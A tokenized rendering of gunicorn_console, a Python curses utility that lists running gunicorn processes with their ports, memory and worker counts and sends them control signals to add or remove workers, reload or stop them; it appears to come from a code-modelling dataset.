"\\u\\u\\uDEDENT\\u\\u\\u_", "found_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pids_", "=_", "sorted_", "(_", "gun", "icor", "ns_", "._", "keys_", "(_", ")_", ",_", "reverse_", "=_", "reverse_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Iterat", "e", " ", "items", " ", "twi", "ce", " ", "to", " ", "enable", " ", "wrapp", "ing", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "pid_", "in_", "pids_", "+_", "pids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "selecte", "d\\u", "pid_", "is_", "None_", "or_", "found_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "selecte", "d\\u", "pid_", "=_", "pid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "found_", "=_", "pid_", "==_", "selecte", "d\\u", "pid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "gun", "icor", "ns_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Update", "s", " ", "the", " ", "dict", " ", "of", " ", "gun", "icor", "n", " ", "process", "es", ".", " ", "Run", " ", "the", " ", "ps", " ", "command", " ", "and", " ", "parse", " ", "its", "\\", "10", ";", " ", " ", " ", " ", "output", " ", "for", " ", "process", "es", " ", "named", " ", "after", " ", "gun", "icor", "n", ",", " ", "buildi", "ng", " ", "up", " ", "a", " ", "dict", " ", "of", " ", "gun", "icor", "n", "\\", "10", ";", " ", " ", " ", " ", "process", "es", ".", " ", "Whe", "n", " ", "new", " ", "gun", "icor", "ns", " ", "are", " ", "discovere", "d", ",", " ", "run", " ", "the", " ", "nets", "tat", " ", "command", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "dete", "rmin", "e", " ", "the", " ", "port", "s", " ", "the", "y", "'", "re", " ", "serving", " ", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global_", "tick_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tick_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "tick_", "*_", "screen", "\\u", "delay_", ")_", "%_", "ps", "\\u", "delay_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tick_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "pid_", "in_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gun", "icor", "ns_", "[_", "pid_", "]_", "._", "update_", "(_", "{_", "\"", "worker", "s", "\"_", ":_", "0_", ",_", "\"", "mem", "\"_", ":_", "0_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ps_", "=_", "Popen_", "(_", "PS", "\\u", "ARGS_", ",_", "stdout_", "=_", "PIPE_", ")_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", "._", "split_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headings_", "=_", "ps_", "._", "pop_", "(_", "0_", ")_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name", "\\u", "col_", "=_", "headings_", "._", "index_", "(_", "cmd", "\\u", "heading_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "cols_", "=_", "len_", "(_", "headings_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", "in_", "ps_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cols_", "=_", "row_", "._", "split_", "(_", "None_", ",_", "num", "\\u", "cols_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cols_", "and_", "\"", "gun", "icor", "n", ":", " ", "\"_", "in_", "cols_", "[_", "name", "\\u", "col_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "gun", "icor", "n", ":", " ", "worker", "\"_", "in_", "cols_", "[_", "name", "\\u", "col_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "worker_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "worker_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "is", "\\u", "worker_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pid_", "=_", "cols_", "[_", "headings_", "._", "index_", "(_", "\"", "PPI", "D", "\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pid_", "=_", "cols_", "[_", "headings_", "._", "index_", "(_", "\"", "PID", "\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "pid_", "not_", "in_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gun", "icor", "ns_", "[_", "pid_", "]_", "=_", "{_", "\"", "worker", "s", "\"_", ":_", "0_", ",_", "\"", "mem", "\"_", ":_", "0_", ",_", "\"", "port", "\"_", ":_", "None_", ",_", "\"", "name", "\"_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "cols_", "[_", "name", "\\u", "col_", "]_", "._", "strip_", "(_", ")_", "._", "split_", "(_", "\"[\"_", ",_", "1_", ")_", "[_", "1_", "]_", "._", "split_", "(_", "\"]\"_", ",_", "1_", ")_", "[_", ":_", "-_", "1_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "mem", "\"_", "]_", "+=_", "int_", "(_", "cols_", "[_", "headings_", "._", "index_", "(_", "\"", "RSS", "\"_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "\\u", "worker_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "worker", "s", "\"_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Remove", " ", "gun", "icor", "ns", " ", "tha", "t", " ", "wer", "e", " ", "not", " ", "found", " ", "in", " ", "the", " ", "process", " ", "list", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "pid_", "in_", "gun", "icor", "ns_", "._", "keys_", "(_", ")_", "[_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "worker", "s", "\"_", "]_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "gun", "icor", "ns_", "[_", "pid_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Det", "erm", "ine", " ", "port", "s", " ", "if", " ", "any", " ", "are", " ", "missi", "ng", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "[_", "g_", "for_", "g_", "in_", "gun", "icor", "ns_", "._", "values_", "(_", ")_", "if_", "g_", "[_", "\"", "port", "\"_", "]_", "is_", "None_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "(_", "pid_", ",_", "port_", ")_", "in_", "port", "s", "\\u", "for", "\\u", "pids_", "(_", "gun", "icor", "ns_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pid_", "in_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "port", "\"_", "]_", "=_", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "handle", "\\u", "keypress", "_", "(_", "screen_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Check", " ", "for", " ", "a", " ", "key", " ", "bei", "ng", " ", "presse", "d", " ", "and", " ", "handle", " ", "it", " ", "if", " ", "applica", "ble", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global_", "selecte", "d\\u", "pid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "screen_", "._", "get", "key_", "(_", ")_", "._", "upper_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "key_", "in_", "(_", "\"", "KEY", "\\u", "DOWN", "\"_", ",_", "\"", "J", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "move", "\\u", "selection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "key_", "in_", "(_", "\"", "KEY", "\\u", "UP", "\"_", ",_", "\"", "K", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "move", "\\u", "selection_", "(_", "reverse_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "key_", "in_", "(_", "\"", "A", "\"_", ",_", "\"+\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "send", "\\u", "signal_", "(_", "\"", "TT", "IN", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "selecte", "d\\u", "pid_", "in_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gun", "icor", "ns_", "[_", "selecte", "d\\u", "pid_", "]_", "[_", "\"", "worker", "s", "\"_", "]_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "key_", "in_", "(_", "\"", "W", "\"_", ",_", "\"-\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "selecte", "d\\u", "pid_", "in_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "gun", "icor", "ns_", "[_", "selecte", "d\\u", "pid_", "]_", "[_", "\"", "worker", "s", "\"_", "]_", "!=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "send", "\\u", "signal_", "(_", "\"", "TT", "OU", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gun", "icor", "ns_", "[_", "selecte", "d\\u", "pid_", "]_", "[_", "\"", "worker", "s", "\"_", "]_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "key_", "in_", "(_", "\"", "R", "\"_", ",_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "selecte", "d\\u", "pid_", "in_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "send", "\\u", "signal_", "(_", "\"", "HU", "P", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "gun", "icor", "ns_", "[_", "selecte", "d\\u", "pid_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "pid_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "key_", "in_", "(_", "\"", "T", "\"_", ",_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "pid_", "in_", "gun", "icor", "ns_", "._", "copy_", "(_", ")_", "._", "iterkeys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "selecte", "d\\u", "pid_", "=_", "pid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "send", "\\u", "signal_", "(_", "\"", "HU", "P", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "gun", "icor", "ns_", "[_", "selecte", "d\\u", "pid_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "pid_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "key_", "in_", "(_", "\"", "M", "\"_", ",_", "\"-\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "selecte", "d\\u", "pid_", "in_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "send", "\\u", "signal_", "(_", "\"", "QUI", "T", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "gun", "icor", "ns_", "[_", "selecte", "d\\u", "pid_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "pid_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "key_", "in_", "(_", "\"", "Q", "\"_", ",_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Key", "board", "Interrupt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "format\\u", "row_", "(_", "pid_", "=_", "\"\"_", ",_", "port_", "=_", "\"\"_", ",_", "name_", "=_", "\"\"_", ",_", "mem_", "=_", "\"\"_", ",_", "workers_", "=_", "\"\"_", ",_", "prefix", "\\u", "char_", "=_", "\"", " ", " ", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Appl", "ies", " ", "consi", "stan", "t", " ", "padd", "ing", " ", "to", " ", "each", " ", "of", " ", "the", " ", "column", "s", " ", "in", " ", "a", " ", "row", " ", "and", " ", "serve", "s", " ", "as", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "source", " ", "of", " ", "the", " ", "over", "all", " ", "screen", " ", "widt", "h", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "row_", "=_", "\"%", "s", "%", "-", "5", "s", " ", "%", "-", "6", "s", " ", "%", "-", "25", "s", " ", "%", "8s", " ", "%", "7", "s", " ", "\"_", "%_", "(_", "prefix", "\\u", "char_", ",_", "pid_", ",_", "port_", ",_", "name_", ",_", "mem_", ",_", "workers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "global_", "screen", "\\u", "width_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "screen", "\\u", "width_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "screen", "\\u", "width_", "=_", "len_", "(_", "row_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "row_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "display", "\\u", "output_", "(_", "screen_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Display", " ", "the", " ", "menu", " ", "list", " ", "of", " ", "gun", "icor", "ns", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "format\\u", "row_", "(_", ")_", "#", " ", "Set", "s", " ", "up", " ", "the", " ", "screen", " ", "widt", "h", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "screen", "\\u", "height_", "=_", "len_", "(_", "gun", "icor", "ns_", ")_", "+_", "len_", "(_", "instructions_", "._", "split_", "(_", "\"\\\\", "n", "\"_", ")_", ")_", "+_", "9_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "screen", "\\u", "height_", "+=_", "2_", "#", " ", "A", " ", "couple", " ", "of", " ", "blank", " ", "lines", " ", "are", " ", "adde", "d", " ", "whe", "n", " ", "empty", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "screen_", "._", "erase_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "win_", "=_", "curses_", "._", "new", "win_", "(_", "screen", "\\u", "height_", ",_", "screen", "\\u", "width_", "+_", "6_", ",_", "1_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "win_", "._", "bkg", "d_", "(_", "\"", " ", "\"_", ",_", "curses_", "._", "color", "\\u", "pair_", "(_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "win_", "._", "border_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "blank", "\\u", "line_", "=_", "y_", "=_", "count_", "(_", "2_", ")_", "._", "next_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "win_", "._", "addstr_", "(_", "y_", "(_", ")_", ",_", "x_", ",_", "title_", "._", "center_", "(_", "screen", "\\u", "width_", ")_", ",_", "curses_", "._", "A", "\\u", "NORMAL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "blank", "\\u", "line_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "win_", "._", "addstr_", "(_", "y_", "(_", ")_", ",_", "x_", ",_", "format\\u", "row_", "(_", "\"", " ", "PID", "\"_", ",_", "\"", "PORT", "\"_", ",_", "\"", "NAME", "\"_", ",_", "\"", "MEM", " ", "(", "MB", ")\"_", ",_", "\"", "WORKER", "S", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "curses_", "._", "A", "\\u", "STAN", "DO", "UT_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "gun", "icor", "ns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "blank", "\\u", "line_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "win_", "._", "addstr_", "(_", "y_", "(_", ")_", ",_", "x_", ",_", "no", "\\u", "gun", "icor", "ns_", "._", "center_", "(_", "screen", "\\u", "width_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "curses_", "._", "A", "\\u", "NORMAL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "blank", "\\u", "line_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "win_", "._", "hline", "_", "(_", "y_", "(_", ")_", ",_", "x_", ",_", "curses_", "._", "ACS", "\\u", "HL", "INE", "_", ",_", "screen", "\\u", "width_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "(_", "i_", ",_", "pid_", ")_", "in_", "enumerate_", "(_", "sorted_", "(_", "gun", "icor", "ns_", "._", "keys_", "(_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "port_", "=_", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "port", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "name", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mem_", "=_", "\"%", "#.", "3f", "\"_", "%_", "(_", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "mem", "\"_", "]_", "/_", "1000._", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "workers_", "=_", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "worker", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Whe", "n", " ", "a", " ", "signal", " ", "is", " ", "sent", " ", "to", " ", "update", " ", "the", " ", "number", " ", "of", " ", "worker", "s", ",", " ", "the", " ", "number_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "worker", "s", " ", "is", " ", "set", " ", "to", " ", "zero", " ", "as", " ", "a", " ", "marker", " ", "to", " ", "sign", "if", "y", " ", "an", " ", "update", " ", "has_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "occur", "red", ".", " ", "We", " ", "then", " ", "pig", "gy", "back", " ", "this", " ", "variab", "le", " ", "and", " ", "use", " ", "it", " ", "as", " ", "a", " ", "counter_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "animate", " ", "the", " ", "display", " ", "unti", "l", " ", "the", " ", "gun", "icor", "n", " ", "is", " ", "next", " ", "update", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "workers_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "worker", "s", "\"_", "]_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chars_", "=_", "\"|", "/-", "\\\\\\\\\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "workers_", "*=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "workers_", "==_", "len_", "(_", "chars_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gun", "icor", "ns_", "[_", "pid_", "]_", "[_", "\"", "worker", "s", "\"_", "]_", "=_", "workers_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "workers_", "=_", "chars_", "[_", "workers_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "pid_", "==_", "selecte", "d\\u", "pid_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attr_", "=_", "curses_", "._", "A", "\\u", "STAN", "DO", "UT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "char_", "=_", "'>", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attr_", "=_", "curses_", "._", "A", "\\u", "NORMAL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "char_", "=_", "'", " ", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "win_", "._", "addstr_", "(_", "y_", "(_", ")_", ",_", "x_", ",_", "format\\u", "row_", "(_", "pid_", ",_", "port_", ",_", "name_", ",_", "mem_", ",_", "workers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "prefix", "\\u", "char_", ")_", ",_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "win_", "._", "hline", "_", "(_", "y_", "(_", ")_", ",_", "x_", ",_", "curses_", "._", "ACS", "\\u", "HL", "INE", "_", ",_", "screen", "\\u", "width_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "blank", "\\u", "line_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "instructions_", "._", "split_", "(_", "\"\\\\", "n", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "win_", "._", "addstr_", "(_", "y_", "(_", ")_", ",_", "x_", ",_", "line_", "._", "center_", "(_", "screen", "\\u", "width_", ")_", ",_", "curses_", "._", "A", "\\u", "NORMAL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "win_", "._", "refresh_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Main", " ", "entry", " ", "point", " ", "for", " ", "gun", "icor", "n", "\\u", "console", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Set", " ", "up", " ", "curse", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "stdscr_", "=_", "curses_", "._", "inits", "cr_", "(_", ")_", 